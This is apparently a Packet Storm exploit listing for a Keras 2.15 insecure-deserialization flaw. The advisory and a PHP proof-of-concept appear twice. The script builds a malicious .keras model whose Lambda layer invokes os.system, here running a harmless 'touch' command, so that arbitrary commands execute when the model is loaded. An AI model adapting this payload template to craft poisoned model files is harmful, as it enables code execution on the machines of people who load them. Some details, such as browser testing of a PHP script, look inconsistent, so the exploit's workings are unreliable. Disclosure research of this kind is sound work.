4.8
/ 10
MEDIUM
CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/SC:N/VI:N/SI:N/VA:L/SA:N
Description
Keras version 2.15 insecure deserialization proof of concept exploit. A security issue in certain versions of Keras allows attackers to craft a malicious model file typically a .keras or HDF5-based model containing unsafe serialization primitives. When...
Basic Information
ID
PACKETSTORM:213014
Published
Dec 18, 2025 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Keras 2.15 insecure deserialization |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://keras.io/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/202894/ & CVE-2025-5640
[+] Summary :
A security issue in certain versions of Keras allows attackers to craft a malicious model file (typically a .keras or HDF5-based model)
containing unsafe serialization primitives. When such a model is loaded, the deserialization process may allow execution of arbitrary functions
or system commands if unsafe layers such as Lambda with custom functions are used.
This issue arises because the framework may deserialize user-defined functions without full sandboxing or validation, enabling attackers to embed object configurations that trigger execution during model loading.
Mitigation requires strict disabling of custom object loading, enforcing safe-load mechanisms, updating to patched versions, and avoiding untrusted model files
[+] POC : php poc.php
<?php
class SimpleKerasExploit {
public function createMaliciousModel($outputFile = "malicious_model.keras") {
$tempDir = sys_get_temp_dir() . '/keras_' . uniqid();
mkdir($tempDir, 0755, true);
// Create config
$config = array(
"class_name" => "Functional",
"config" => array(
"name" => "pwned_model",
"layers" => array(
array(
"class_name" => "Lambda",
"config" => array(
"name" => "evil_lambda",
"function" => array(
"class_name" => "function",
"config" => array(
"module" => "os",
"function_name" => "system",
"registered_name" => null
)
),
"arguments" => array('touch /tmp/pwned_simple.keras')
)
)
)
)
);
file_put_contents($tempDir . '/config.json', json_encode($config));
file_put_contents($tempDir . '/metadata.json', json_encode(array("keras_version" => "2.15.0")));
$zip = new ZipArchive();
if ($zip->open($outputFile, ZipArchive::CREATE) === TRUE) {
$zip->addFile($tempDir . '/config.json', 'config.json');
$zip->addFile($tempDir . '/metadata.json', 'metadata.json');
$zip->close();
echo "✅ Malicious model created: $outputFile\n";
}
// Cleanup
array_map('unlink', glob("$tempDir/*"));
rmdir($tempDir);
}
}
$exploit = new SimpleKerasExploit();
$exploit->createMaliciousModel();
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Keras 2.15 insecure deserialization |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://keras.io/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/202894/ & CVE-2025-5640
[+] Summary :
A security issue in certain versions of Keras allows attackers to craft a malicious model file (typically a .keras or HDF5-based model)
containing unsafe serialization primitives. When such a model is loaded, the deserialization process may allow execution of arbitrary functions
or system commands if unsafe layers such as Lambda with custom functions are used.
This issue arises because the framework may deserialize user-defined functions without full sandboxing or validation, enabling attackers to embed object configurations that trigger execution during model loading.
Mitigation requires strict disabling of custom object loading, enforcing safe-load mechanisms, updating to patched versions, and avoiding untrusted model files
[+] POC : php poc.php
<?php
class SimpleKerasExploit {
public function createMaliciousModel($outputFile = "malicious_model.keras") {
$tempDir = sys_get_temp_dir() . '/keras_' . uniqid();
mkdir($tempDir, 0755, true);
// Create config
$config = array(
"class_name" => "Functional",
"config" => array(
"name" => "pwned_model",
"layers" => array(
array(
"class_name" => "Lambda",
"config" => array(
"name" => "evil_lambda",
"function" => array(
"class_name" => "function",
"config" => array(
"module" => "os",
"function_name" => "system",
"registered_name" => null
)
),
"arguments" => array('touch /tmp/pwned_simple.keras')
)
)
)
)
);
file_put_contents($tempDir . '/config.json', json_encode($config));
file_put_contents($tempDir . '/metadata.json', json_encode(array("keras_version" => "2.15.0")));
$zip = new ZipArchive();
if ($zip->open($outputFile, ZipArchive::CREATE) === TRUE) {
$zip->addFile($tempDir . '/config.json', 'config.json');
$zip->addFile($tempDir . '/metadata.json', 'metadata.json');
$zip->close();
echo "✅ Malicious model created: $outputFile\n";
}
// Cleanup
array_map('unlink', glob("$tempDir/*"));
rmdir($tempDir);
}
}
$exploit = new SimpleKerasExploit();
$exploit->createMaliciousModel();
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================